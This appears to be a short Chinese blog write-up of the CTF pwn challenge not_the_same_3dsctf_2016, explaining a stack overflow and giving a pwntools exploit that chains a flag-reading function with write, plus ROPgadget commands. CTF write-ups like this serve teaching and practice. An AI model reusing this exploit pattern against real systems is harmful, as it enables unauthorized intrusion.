not_the_same_3dsctf_2016

文章描述了一位安全研究员在分析一个名为not_the_same_3dsctf_2016的程序时,发现可能存在缓冲区溢出漏洞。他们搜索了用于执行系统命令的函数和读写文件的函数,并找到了读取flag.txt的潜在方法。通过构造特定输入,利用write函数将flag.txt的内容写入内存,然后使用交互模式进一步操作程序以揭示flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

小白垃圾做题笔记而已,不建议阅读。

看下main函数,存在溢出。

看到有好多函数,我感觉是静态编译,于是我去找有没有system函数和/bin/sh(shift+f12)

结果好像没有

不过我发现了这个

 

双击后,ctrl+x查看调用函数。

读取flag就很好。

 

那么找下有没有puts或者write函数。

左边的函数窗口ctrl+F输入要找的函数名。

解题思路大概是将flag.txt读到某个地址里,然后将flag写出来。

exp

from pwn import *

debug=0
if debug:
    p=process('./not_the_same_3dsctf_2016')
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('node4.buuoj.cn',28256)
    
def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)



write_add=0x0806E270

open_flagtxt=0x080489A0

f14g_add=0x080ECA2D


#p.recvuntil(b'm3m0... ')

se(b'b'*0x2d+p32(open_flagtxt)+p32(write_add)+b'a'*4+p32(1)+p32(f14g_add)+p32(45))


#p.recv(45)



p.interactive()

#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

y6y6y666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值